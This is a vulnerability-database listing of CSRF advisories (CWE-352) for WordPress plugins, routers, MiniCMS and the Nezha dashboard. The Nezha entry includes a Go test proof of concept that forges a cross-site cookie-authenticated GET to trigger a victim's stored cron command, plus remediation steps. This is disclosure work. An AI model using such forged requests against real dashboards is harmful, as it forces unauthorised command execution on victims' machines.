Common Weakness Enumeration

CWE-352

Allowed

Cross-Site Request Forgery (CSRF)

Abstraction: Compound · Status: Stable

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

14228 vulnerabilities reference this CWE, most recent first.

GHSA-8Q98-72MQ-W92M

Vulnerability from github – Published: 2024-05-06 06:30 – Updated: 2024-07-03 18:39
VLAI
Details

The MF Gig Calendar WordPress plugin through 1.2.1 does not have CSRF checks in some places, which could allow attackers to make logged in Contributors and above delete arbitrary events via a CSRF attack

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-3756"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-06T06:15:07Z",
    "severity": "HIGH"
  },
  "details": "The MF Gig Calendar WordPress plugin through 1.2.1 does not have CSRF checks in some places, which could allow attackers to make logged in Contributors and above delete arbitrary events via a CSRF attack",
  "id": "GHSA-8q98-72mq-w92m",
  "modified": "2024-07-03T18:39:00Z",
  "published": "2024-05-06T06:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3756"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/b28d0dca-2df1-4925-be81-dd9c46859c38"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8Q9M-G5J8-H6QR

Vulnerability from github – Published: 2024-09-27 15:30 – Updated: 2024-09-27 15:30
VLAI
Details

A vulnerability was found in bg5sbk MiniCMS up to 1.11 and classified as problematic. This issue affects some unknown processing of the file post-edit.php. The manipulation leads to cross-site request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The initial researcher advisory mentions confusing version and file name information. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-9281"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-27T13:15:18Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in bg5sbk MiniCMS up to 1.11 and classified as problematic. This issue affects some unknown processing of the file post-edit.php. The manipulation leads to cross-site request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The initial researcher advisory mentions confusing version and file name information. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-8q9m-g5j8-h6qr",
  "modified": "2024-09-27T15:30:35Z",
  "published": "2024-09-27T15:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9281"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bg5sbk/MiniCMS/issues/51"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.278663"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.278663"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.411164"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8QCJ-H873-C6WQ

Vulnerability from github – Published: 2025-04-04 18:31 – Updated: 2026-04-01 18:34
VLAI
Details

Cross-Site Request Forgery (CSRF) vulnerability in CRM Perks WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms allows Cross Site Request Forgery. This issue affects WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms: from n/a through 1.1.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-32269"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-04T16:15:38Z",
    "severity": "MODERATE"
  },
  "details": "Cross-Site Request Forgery (CSRF) vulnerability in CRM Perks WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms allows Cross Site Request Forgery. This issue affects WP Zendesk for Contact Form 7, WPForms, Elementor, Formidable and Ninja Forms: from n/a through 1.1.3.",
  "id": "GHSA-8qcj-h873-c6wq",
  "modified": "2026-04-01T18:34:33Z",
  "published": "2025-04-04T18:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32269"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/cf7-zendesk/vulnerability/wordpress-wp-zendesk-for-contact-form-7-wpforms-elementor-formidable-and-ninja-forms-plugin-1-1-3-cross-site-request-forgery-csrf-to-settings-change-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8QFM-5JPX-JP3V

Vulnerability from github – Published: 2022-09-14 00:00 – Updated: 2022-09-20 00:00
VLAI
Details

The WAVLINK Quantum D4G (WN531G3) running firmware version M31G3.V5030.200325 does not utilize anti-CSRF tokens, which, when combined with other issues (such as CVE-2022-35518), can lead to remote, unauthenticated command execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-40623"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-13T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "The WAVLINK Quantum D4G (WN531G3) running firmware version M31G3.V5030.200325 does not utilize anti-CSRF tokens, which, when combined with other issues (such as CVE-2022-35518), can lead to remote, unauthenticated command execution.",
  "id": "GHSA-8qfm-5jpx-jp3v",
  "modified": "2022-09-20T00:00:31Z",
  "published": "2022-09-14T00:00:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40623"
    },
    {
      "type": "WEB",
      "url": "https://youtu.be/cSileV8YbsQ?t=1028"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8QFM-M93Q-XC6C

Vulnerability from github – Published: 2025-01-07 12:31 – Updated: 2026-04-01 18:33
VLAI
Details

Cross-Site Request Forgery (CSRF) vulnerability in AIpost AI WP Writer allows Cross Site Request Forgery.This issue affects AI WP Writer: from n/a through 3.8.4.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-22297"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-07T11:15:13Z",
    "severity": "MODERATE"
  },
  "details": "Cross-Site Request Forgery (CSRF) vulnerability in AIpost AI WP Writer allows Cross Site Request Forgery.This issue affects AI WP Writer: from n/a through 3.8.4.4.",
  "id": "GHSA-8qfm-m93q-xc6c",
  "modified": "2026-04-01T18:33:02Z",
  "published": "2025-01-07T12:31:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22297"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/ai-wp-writer/vulnerability/wordpress-ai-wp-writer-plugin-3-8-4-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8QFR-9RMH-3HFC

Vulnerability from github – Published: 2022-06-21 00:00 – Updated: 2022-06-29 00:00
VLAI
Details

The Seamless Donations WordPress plugin before 5.1.9 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-1610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-20T11:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Seamless Donations WordPress plugin before 5.1.9 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack",
  "id": "GHSA-8qfr-9rmh-3hfc",
  "modified": "2022-06-29T00:00:24Z",
  "published": "2022-06-21T00:00:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1610"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/88014da6-6179-4527-8f67-fbb610804d93"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8QHJ-4F8C-J8QG

Vulnerability from github – Published: 2026-06-10 13:39 – Updated: 2026-06-26 21:28
VLAI
Summary
Nezha has cross-site GET request that can trigger stored cron commands on a victim's agents
Details

Summary

The dashboard exposes the cron manual-trigger action as an authenticated GET /api/v1/cron/:id/manual endpoint. Dashboard JWTs are sent in the nz-jwt cookie and configured with SameSite=Lax, which browsers include on top-level cross-site GET navigations. Because this state-changing GET endpoint has no CSRF token, origin validation, or fetch-metadata guard, an attacker can cause a logged-in Nezha user to trigger one of their existing cron tasks by navigating the victim's browser to the manual-trigger URL.

If the targeted cron task sends a command to an online agent, the stored command is dispatched to the agent task stream. The attacker cannot create or modify the cron command through this issue alone, but can force execution of a command that the victim already saved and is authorized to run.

Details

Source-to-sink chain:

  1. The dashboard registers the manual cron trigger as a GET route under the authenticated API group: auth.GET("/cron/:id/manual", commonHandler(manualTriggerCron)) at cmd/dashboard/controller/controller.go:131-134.
  2. JWT auth is cookie-enabled: CookieName: "nz-jwt", SendCookie: true, CookieSameSite: http.SameSiteLaxMode, and TokenLookup: "header: Authorization, query: token, cookie: nz-jwt" at cmd/dashboard/controller/jwt.go:23-46.
  3. The handler parses the route ID, loads the cron object, checks only normal object ownership via cr.HasPermission(c), then calls singleton.ManualTrigger(cr) at cmd/dashboard/controller/cron.go:170-187.
  4. ManualTrigger immediately runs CronTrigger(cr)() at service/singleton/crontask.go:249-250.
  5. CronTrigger dispatches the stored command to online eligible agents via s.TaskStream.Send(&pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand}) at service/singleton/crontask.go:289-304 after the owner/server check in cronCanSendToServer (service/singleton/crontask.go:315-317).
  6. Object authorization is user ownership/admin only: Common.HasPermission returns true for admins or matching UserID at model/common.go:44-56. There is no CSRF token, Origin/Referer validation, or Fetch Metadata check on this GET action.

False-positive screening:

  • The endpoint is not read-only: the safe proof below observed an in-memory agent stream receiving the command task.
  • The route is authenticated, and the unauthenticated negative control failed with ApiErrorUnauthorized and dispatched no task.
  • SameSite=Lax mitigates cross-site POSTs, but this action uses GET; Lax cookies are still sent on top-level cross-site GET navigations, which is why state-changing GET endpoints remain CSRF-sensitive.
  • The attacker must know or guess a cron ID owned by the victim. IDs are numeric. The issue does not allow creating or editing a command; it forces execution of an existing stored task.
  • The permission check still limits the triggered task to the victim's own task or an admin's task, but CSRF abuses the victim's browser/session to satisfy that check.

PoC

Safe local proof used a Go test overlay only; no repository files were modified for the proof and no real command was executed. The test creates an in-memory SQLite database, a victim user, a victim-owned server with an in-memory fake task stream, and a victim-owned cron task with command text touch /tmp/should-not-run. It then performs two requests:

  1. Negative control: cross-site-style GET without the nz-jwt cookie. Expected result: response contains ApiErrorUnauthorized; zero tasks are dispatched.
  2. Positive proof: cross-site-style GET with the victim's nz-jwt cookie. Expected result: API response succeeds and exactly one task is dispatched to the fake agent stream with Id=7, Type=model.TaskTypeCommand, and Data="touch /tmp/should-not-run".

Command run from a clean checkout of the tested tree:

cat >/tmp/nezha-docs-stub.go <<'EOF'
package docs

var SwaggerInfo = struct {
    Version string
}{Version: "test"}
EOF

cat >/tmp/nezha-cron-csrf-poc-test.go <<'EOF'
package controller

import (
    "context"
    "encoding/json"
    "net/http"
    "net/http/httptest"
    "strings"
    "testing"
    "time"

    "github.com/gin-gonic/gin"
    "github.com/patrickmn/go-cache"
    "google.golang.org/grpc/metadata"
    "gorm.io/driver/sqlite"
    "gorm.io/gorm"

    "github.com/nezhahq/nezha/model"
    "github.com/nezhahq/nezha/pkg/i18n"
    pb "github.com/nezhahq/nezha/proto"
    "github.com/nezhahq/nezha/service/singleton"
)

type capturedTaskStream struct { tasks []*pb.Task }

func (s *capturedTaskStream) Send(task *pb.Task) error { s.tasks = append(s.tasks, task); return nil }
func (s *capturedTaskStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled }
func (s *capturedTaskStream) SetHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SendHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SetTrailer(metadata.MD) {}
func (s *capturedTaskStream) Context() context.Context { return context.Background() }
func (s *capturedTaskStream) SendMsg(any) error { return nil }
func (s *capturedTaskStream) RecvMsg(any) error { return context.Canceled }

func TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET(t *testing.T) {
    gin.SetMode(gin.TestMode)
    db, err := gorm.Open(sqlite.Open("file:cron_csrf_poc?mode=memory&cache=shared"), &gorm.Config{})
    if err != nil { t.Fatal(err) }
    if err := db.AutoMigrate(&model.User{}, &model.Server{}, &model.Cron{}); err != nil { t.Fatal(err) }
    if err := db.Create(&model.User{Common: model.Common{ID: 100}, Username: "victim", Role: model.RoleMember}).Error; err != nil { t.Fatal(err) }
    if err := db.Create(&model.Server{Common: model.Common{ID: 200, UserID: 100}, Name: "victim-agent"}).Error; err != nil { t.Fatal(err) }

    singleton.DB = db
    singleton.Loc = time.UTC
    singleton.Cache = cache.New(time.Minute, time.Minute)
    singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations)
    singleton.Conf = &singleton.ConfigClass{Config: &model.Config{ConfigForGuests: model.ConfigForGuests{SiteName: "test"}, JWTSecretKey: "test-secret-for-cron-csrf-poc", JWTTimeout: 1}}
    singleton.ServerShared = singleton.NewServerClass()
    singleton.CronShared = singleton.NewCronClass()
    defer singleton.CronShared.Stop()

    stream := &capturedTaskStream{}
    server, ok := singleton.ServerShared.Get(200)
    if !ok { t.Fatal("server missing from singleton") }
    server.TaskStream = stream

    cronTask := &model.Cron{Common: model.Common{ID: 7, UserID: 100}, Name: "victim cron", TaskType: model.CronTypeCronTask, Command: "touch /tmp/should-not-run", Servers: []uint64{200}, Cover: model.CronCoverIgnoreAll}
    singleton.CronShared.Update(cronTask)

    authMiddleware := initParams()
    if err := authMiddleware.MiddlewareInit(); err != nil { t.Fatal(err) }
    token, _, err := authMiddleware.TokenGenerator(map[string]interface{}{"user_id": "100", "ip": "203.0.113.10"})
    if err != nil { t.Fatal(err) }

    r := gin.New()
    r.Use(func(c *gin.Context) { c.Set(model.CtxKeyRealIPStr, "203.0.113.10"); c.Next() })
    auth := r.Group("", authMiddleware.MiddlewareFunc())
    auth.GET("/api/v1/cron/:id/manual", commonHandler(manualTriggerCron))

    wNoCookie := httptest.NewRecorder()
    reqNoCookie := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
    reqNoCookie.Header.Set("Origin", "https://attacker.example")
    reqNoCookie.Header.Set("Sec-Fetch-Site", "cross-site")
    r.ServeHTTP(wNoCookie, reqNoCookie)
    if !strings.Contains(wNoCookie.Body.String(), "ApiErrorUnauthorized") { t.Fatalf("expected unauthenticated control to fail, got status=%d body=%s", wNoCookie.Code, wNoCookie.Body.String()) }
    if len(stream.tasks) != 0 { t.Fatalf("unauthenticated control dispatched %d task(s)", len(stream.tasks)) }

    w := httptest.NewRecorder()
    req := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
    req.Header.Set("Origin", "https://attacker.example")
    req.Header.Set("Sec-Fetch-Site", "cross-site")
    req.AddCookie(&http.Cookie{Name: "nz-jwt", Value: token})
    r.ServeHTTP(w, req)

    var resp struct { Success bool `json:"success"`; Error string `json:"error"` }
    if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil { t.Fatalf("decode response: %v body=%s", err, w.Body.String()) }
    if !resp.Success { t.Fatalf("manual trigger failed: status=%d body=%s", w.Code, w.Body.String()) }
    if len(stream.tasks) != 1 { t.Fatalf("expected one dispatched task, got %d", len(stream.tasks)) }
    dispatched := stream.tasks[0]
    if dispatched.Id != 7 || dispatched.Type != model.TaskTypeCommand || dispatched.Data != "touch /tmp/should-not-run" { t.Fatalf("unexpected dispatched task: id=%d type=%d data=%q", dispatched.Id, dispatched.Type, dispatched.Data) }
}
EOF

cat >/tmp/nezha-overlay-cron-csrf.json <<'EOF'
{
  "Replace": {
    "/path/to/nezha/cmd/dashboard/docs/docs.go": "/tmp/nezha-docs-stub.go",
    "/path/to/nezha/cmd/dashboard/controller/cron_csrf_poc_test.go": "/tmp/nezha-cron-csrf-poc-test.go"
  }
}
EOF
# Replace /path/to/nezha above with the local checkout path, then run:
go test -vet=off -overlay=/tmp/nezha-overlay-cron-csrf.json ./cmd/dashboard/controller -run TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET -count=1 -v

Observed output in this environment:

=== RUN   TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET
--- PASS: TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET (0.00s)
PASS
ok      github.com/nezhahq/nezha/cmd/dashboard/controller   0.019s

The -vet=off flag was only needed because this checkout lacks the generated cmd/dashboard/docs directory and Go vet still tries to chdir into the overlay-created package directory. The overlay includes a minimal docs package stub so the controller package can compile without generating Swagger files.

Cleanup:

rm -f /tmp/nezha-docs-stub.go /tmp/nezha-cron-csrf-poc-test.go /tmp/nezha-overlay-cron-csrf.json

Impact

A remote attacker can cause a logged-in dashboard user to trigger an existing cron task by making the user's browser navigate to /api/v1/cron/<known-id>/manual. If that cron task dispatches an agent command, the command is sent to the victim's online agent without the victim intentionally clicking the manual trigger in the dashboard.

Security impact is integrity and availability:

  • Integrity: forced execution of a stored command on victim-controlled agents.
  • Availability: forced execution of disruptive stored tasks, repeated task starts, or repeated notifications/offline failure paths.
  • Confidentiality: not directly demonstrated; the PoC does not show data exfiltration.

Suggested remediation

  • Make manual cron triggering a non-idempotent method such as POST /api/v1/cron/:id/manual instead of GET.
  • Require a CSRF token for cookie-authenticated state-changing requests, or reject unsafe cross-site requests with Origin/Referer and Fetch Metadata validation.
  • Consider not accepting JWTs from cookies for state-changing API calls unless a CSRF token is present.
  • Add a regression test that sends a cross-site-style GET with a valid cookie and asserts no cron task is dispatched.
  • If frontend compatibility requires cookies, keep SameSite=Lax or stricter, but do not rely on it to protect state-changing GET routes.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nezhahq/nezha"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "2.0.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49396"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-10T13:39:21Z",
    "nvd_published_at": "2026-06-12T22:16:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe dashboard exposes the cron manual-trigger action as an authenticated `GET /api/v1/cron/:id/manual` endpoint. Dashboard JWTs are sent in the `nz-jwt` cookie and configured with `SameSite=Lax`, which browsers include on top-level cross-site GET navigations. Because this state-changing GET endpoint has no CSRF token, origin validation, or fetch-metadata guard, an attacker can cause a logged-in Nezha user to trigger one of their existing cron tasks by navigating the victim\u0027s browser to the manual-trigger URL.\n\nIf the targeted cron task sends a command to an online agent, the stored command is dispatched to the agent task stream. The attacker cannot create or modify the cron command through this issue alone, but can force execution of a command that the victim already saved and is authorized to run.\n\n### Details\nSource-to-sink chain:\n\n1. The dashboard registers the manual cron trigger as a GET route under the authenticated API group: `auth.GET(\"/cron/:id/manual\", commonHandler(manualTriggerCron))` at `cmd/dashboard/controller/controller.go:131-134`.\n2. JWT auth is cookie-enabled: `CookieName: \"nz-jwt\"`, `SendCookie: true`, `CookieSameSite: http.SameSiteLaxMode`, and `TokenLookup: \"header: Authorization, query: token, cookie: nz-jwt\"` at `cmd/dashboard/controller/jwt.go:23-46`.\n3. The handler parses the route ID, loads the cron object, checks only normal object ownership via `cr.HasPermission(c)`, then calls `singleton.ManualTrigger(cr)` at `cmd/dashboard/controller/cron.go:170-187`.\n4. `ManualTrigger` immediately runs `CronTrigger(cr)()` at `service/singleton/crontask.go:249-250`.\n5. `CronTrigger` dispatches the stored command to online eligible agents via `s.TaskStream.Send(\u0026pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})` at `service/singleton/crontask.go:289-304` after the owner/server check in `cronCanSendToServer` (`service/singleton/crontask.go:315-317`).\n6. Object authorization is user ownership/admin only: `Common.HasPermission` returns true for admins or matching `UserID` at `model/common.go:44-56`. There is no CSRF token, Origin/Referer validation, or Fetch Metadata check on this GET action.\n\nFalse-positive screening:\n\n- The endpoint is not read-only: the safe proof below observed an in-memory agent stream receiving the command task.\n- The route is authenticated, and the unauthenticated negative control failed with `ApiErrorUnauthorized` and dispatched no task.\n- `SameSite=Lax` mitigates cross-site POSTs, but this action uses GET; Lax cookies are still sent on top-level cross-site GET navigations, which is why state-changing GET endpoints remain CSRF-sensitive.\n- The attacker must know or guess a cron ID owned by the victim. IDs are numeric. The issue does not allow creating or editing a command; it forces execution of an existing stored task.\n- The permission check still limits the triggered task to the victim\u0027s own task or an admin\u0027s task, but CSRF abuses the victim\u0027s browser/session to satisfy that check.\n\n### PoC\n\nSafe local proof used a Go test overlay only; no repository files were modified for the proof and no real command was executed. The test creates an in-memory SQLite database, a victim user, a victim-owned server with an in-memory fake task stream, and a victim-owned cron task with command text `touch /tmp/should-not-run`. It then performs two requests:\n\n1. Negative control: cross-site-style GET without the `nz-jwt` cookie. Expected result: response contains `ApiErrorUnauthorized`; zero tasks are dispatched.\n2. Positive proof: cross-site-style GET with the victim\u0027s `nz-jwt` cookie. Expected result: API response succeeds and exactly one task is dispatched to the fake agent stream with `Id=7`, `Type=model.TaskTypeCommand`, and `Data=\"touch /tmp/should-not-run\"`.\n\nCommand run from a clean checkout of the tested tree:\n\n```bash\ncat \u003e/tmp/nezha-docs-stub.go \u003c\u003c\u0027EOF\u0027\npackage docs\n\nvar SwaggerInfo = struct {\n\tVersion string\n}{Version: \"test\"}\nEOF\n\ncat \u003e/tmp/nezha-cron-csrf-poc-test.go \u003c\u003c\u0027EOF\u0027\npackage controller\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/patrickmn/go-cache\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"gorm.io/driver/sqlite\"\n\t\"gorm.io/gorm\"\n\n\t\"github.com/nezhahq/nezha/model\"\n\t\"github.com/nezhahq/nezha/pkg/i18n\"\n\tpb \"github.com/nezhahq/nezha/proto\"\n\t\"github.com/nezhahq/nezha/service/singleton\"\n)\n\ntype capturedTaskStream struct { tasks []*pb.Task }\n\nfunc (s *capturedTaskStream) Send(task *pb.Task) error { s.tasks = append(s.tasks, task); return nil }\nfunc (s *capturedTaskStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled }\nfunc (s *capturedTaskStream) SetHeader(metadata.MD) error { return nil }\nfunc (s *capturedTaskStream) SendHeader(metadata.MD) error { return nil }\nfunc (s *capturedTaskStream) SetTrailer(metadata.MD) {}\nfunc (s *capturedTaskStream) Context() context.Context { return context.Background() }\nfunc (s *capturedTaskStream) SendMsg(any) error { return nil }\nfunc (s *capturedTaskStream) RecvMsg(any) error { return context.Canceled }\n\nfunc TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET(t *testing.T) {\n\tgin.SetMode(gin.TestMode)\n\tdb, err := gorm.Open(sqlite.Open(\"file:cron_csrf_poc?mode=memory\u0026cache=shared\"), \u0026gorm.Config{})\n\tif err != nil { t.Fatal(err) }\n\tif err := db.AutoMigrate(\u0026model.User{}, \u0026model.Server{}, \u0026model.Cron{}); err != nil { t.Fatal(err) }\n\tif err := db.Create(\u0026model.User{Common: model.Common{ID: 100}, Username: \"victim\", Role: model.RoleMember}).Error; err != nil { t.Fatal(err) }\n\tif err := db.Create(\u0026model.Server{Common: model.Common{ID: 200, UserID: 100}, Name: \"victim-agent\"}).Error; err != nil { t.Fatal(err) }\n\n\tsingleton.DB = db\n\tsingleton.Loc = time.UTC\n\tsingleton.Cache = cache.New(time.Minute, time.Minute)\n\tsingleton.Localizer = i18n.NewLocalizer(\"en_US\", \"nezha\", \"translations\", i18n.Translations)\n\tsingleton.Conf = \u0026singleton.ConfigClass{Config: \u0026model.Config{ConfigForGuests: model.ConfigForGuests{SiteName: \"test\"}, JWTSecretKey: \"test-secret-for-cron-csrf-poc\", JWTTimeout: 1}}\n\tsingleton.ServerShared = singleton.NewServerClass()\n\tsingleton.CronShared = singleton.NewCronClass()\n\tdefer singleton.CronShared.Stop()\n\n\tstream := \u0026capturedTaskStream{}\n\tserver, ok := singleton.ServerShared.Get(200)\n\tif !ok { t.Fatal(\"server missing from singleton\") }\n\tserver.TaskStream = stream\n\n\tcronTask := \u0026model.Cron{Common: model.Common{ID: 7, UserID: 100}, Name: \"victim cron\", TaskType: model.CronTypeCronTask, Command: \"touch /tmp/should-not-run\", Servers: []uint64{200}, Cover: model.CronCoverIgnoreAll}\n\tsingleton.CronShared.Update(cronTask)\n\n\tauthMiddleware := initParams()\n\tif err := authMiddleware.MiddlewareInit(); err != nil { t.Fatal(err) }\n\ttoken, _, err := authMiddleware.TokenGenerator(map[string]interface{}{\"user_id\": \"100\", \"ip\": \"203.0.113.10\"})\n\tif err != nil { t.Fatal(err) }\n\n\tr := gin.New()\n\tr.Use(func(c *gin.Context) { c.Set(model.CtxKeyRealIPStr, \"203.0.113.10\"); c.Next() })\n\tauth := r.Group(\"\", authMiddleware.MiddlewareFunc())\n\tauth.GET(\"/api/v1/cron/:id/manual\", commonHandler(manualTriggerCron))\n\n\twNoCookie := httptest.NewRecorder()\n\treqNoCookie := httptest.NewRequest(http.MethodGet, \"/api/v1/cron/7/manual\", nil)\n\treqNoCookie.Header.Set(\"Origin\", \"https://attacker.example\")\n\treqNoCookie.Header.Set(\"Sec-Fetch-Site\", \"cross-site\")\n\tr.ServeHTTP(wNoCookie, reqNoCookie)\n\tif !strings.Contains(wNoCookie.Body.String(), \"ApiErrorUnauthorized\") { t.Fatalf(\"expected unauthenticated control to fail, got status=%d body=%s\", wNoCookie.Code, wNoCookie.Body.String()) }\n\tif len(stream.tasks) != 0 { t.Fatalf(\"unauthenticated control dispatched %d task(s)\", len(stream.tasks)) }\n\n\tw := httptest.NewRecorder()\n\treq := httptest.NewRequest(http.MethodGet, \"/api/v1/cron/7/manual\", nil)\n\treq.Header.Set(\"Origin\", \"https://attacker.example\")\n\treq.Header.Set(\"Sec-Fetch-Site\", \"cross-site\")\n\treq.AddCookie(\u0026http.Cookie{Name: \"nz-jwt\", Value: token})\n\tr.ServeHTTP(w, req)\n\n\tvar resp struct { Success bool `json:\"success\"`; Error string `json:\"error\"` }\n\tif err := json.Unmarshal(w.Body.Bytes(), \u0026resp); err != nil { t.Fatalf(\"decode response: %v body=%s\", err, w.Body.String()) }\n\tif !resp.Success { t.Fatalf(\"manual trigger failed: status=%d body=%s\", w.Code, w.Body.String()) }\n\tif len(stream.tasks) != 1 { t.Fatalf(\"expected one dispatched task, got %d\", len(stream.tasks)) }\n\tdispatched := stream.tasks[0]\n\tif dispatched.Id != 7 || dispatched.Type != model.TaskTypeCommand || dispatched.Data != \"touch /tmp/should-not-run\" { t.Fatalf(\"unexpected dispatched task: id=%d type=%d data=%q\", dispatched.Id, dispatched.Type, dispatched.Data) }\n}\nEOF\n\ncat \u003e/tmp/nezha-overlay-cron-csrf.json \u003c\u003c\u0027EOF\u0027\n{\n  \"Replace\": {\n    \"/path/to/nezha/cmd/dashboard/docs/docs.go\": \"/tmp/nezha-docs-stub.go\",\n    \"/path/to/nezha/cmd/dashboard/controller/cron_csrf_poc_test.go\": \"/tmp/nezha-cron-csrf-poc-test.go\"\n  }\n}\nEOF\n# Replace /path/to/nezha above with the local checkout path, then run:\ngo test -vet=off -overlay=/tmp/nezha-overlay-cron-csrf.json ./cmd/dashboard/controller -run TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET -count=1 -v\n```\n\nObserved output in this environment:\n\n```text\n=== RUN   TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET\n--- PASS: TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET (0.00s)\nPASS\nok  